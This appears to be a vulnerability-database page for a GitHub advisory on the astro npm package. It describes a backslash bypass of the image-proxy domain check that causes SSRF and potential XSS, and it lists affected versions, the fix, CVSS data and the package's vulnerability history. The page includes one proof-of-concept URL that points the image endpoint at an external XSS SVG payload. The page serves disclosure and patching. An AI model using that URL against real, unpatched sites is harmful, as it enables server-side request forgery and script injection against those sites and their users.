High

Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

  • Disclosed: 28.10.2025
  • Updated: 11.10.2026 10:22

Summary

This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks http://, https:// and //, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.

PoC

https://astro.build/_image?href=\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg

Affected software

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PlatformPackageVulnerable versionsFixed in
npm package astro >= 5.13.4, < 5.13.10 5.13.10

References

CVSS score 7.2/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness (CWE)
CWE-79, CWE-918
Platform
npm
Package
astro
Disclosed
28.10.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-qcpr-679q-rhm2 - CC BY 4.0

Vulnerability history: astro

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (27) in the archive
Total entries
27
First → latest
10.2024 09.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 6
  • Medium 15
  • Low 5

Disclosures per year

  1. 2024: 3
  2. 2025: 11
  3. 2026: 13
Severity:
  1. Critical · 9.8 ghsa-26w7-cxv4-gfx2 < 7.2.8 7.2.8
  2. High · 7.5 CVE-2026-54299 < 6.4.6 6.4.6
  3. High · 7.1 CVE-2026-50146 < 6.3.3 6.3.3
  4. High · 7.1 CVE-2025-64764 < 5.15.8 5.15.8
  5. Astro's bypass of image proxy domain validation leads to SSRF and potential XSS this entry
    High · 7.2 CVE-2025-59837 >= 5.13.4, < 5.13.10 5.13.10
  6. High CVE-2024-56159 >= 5.0.0-alpha.0, < 5.0.8, < 4.16.18 5.0.8, 4.16.18

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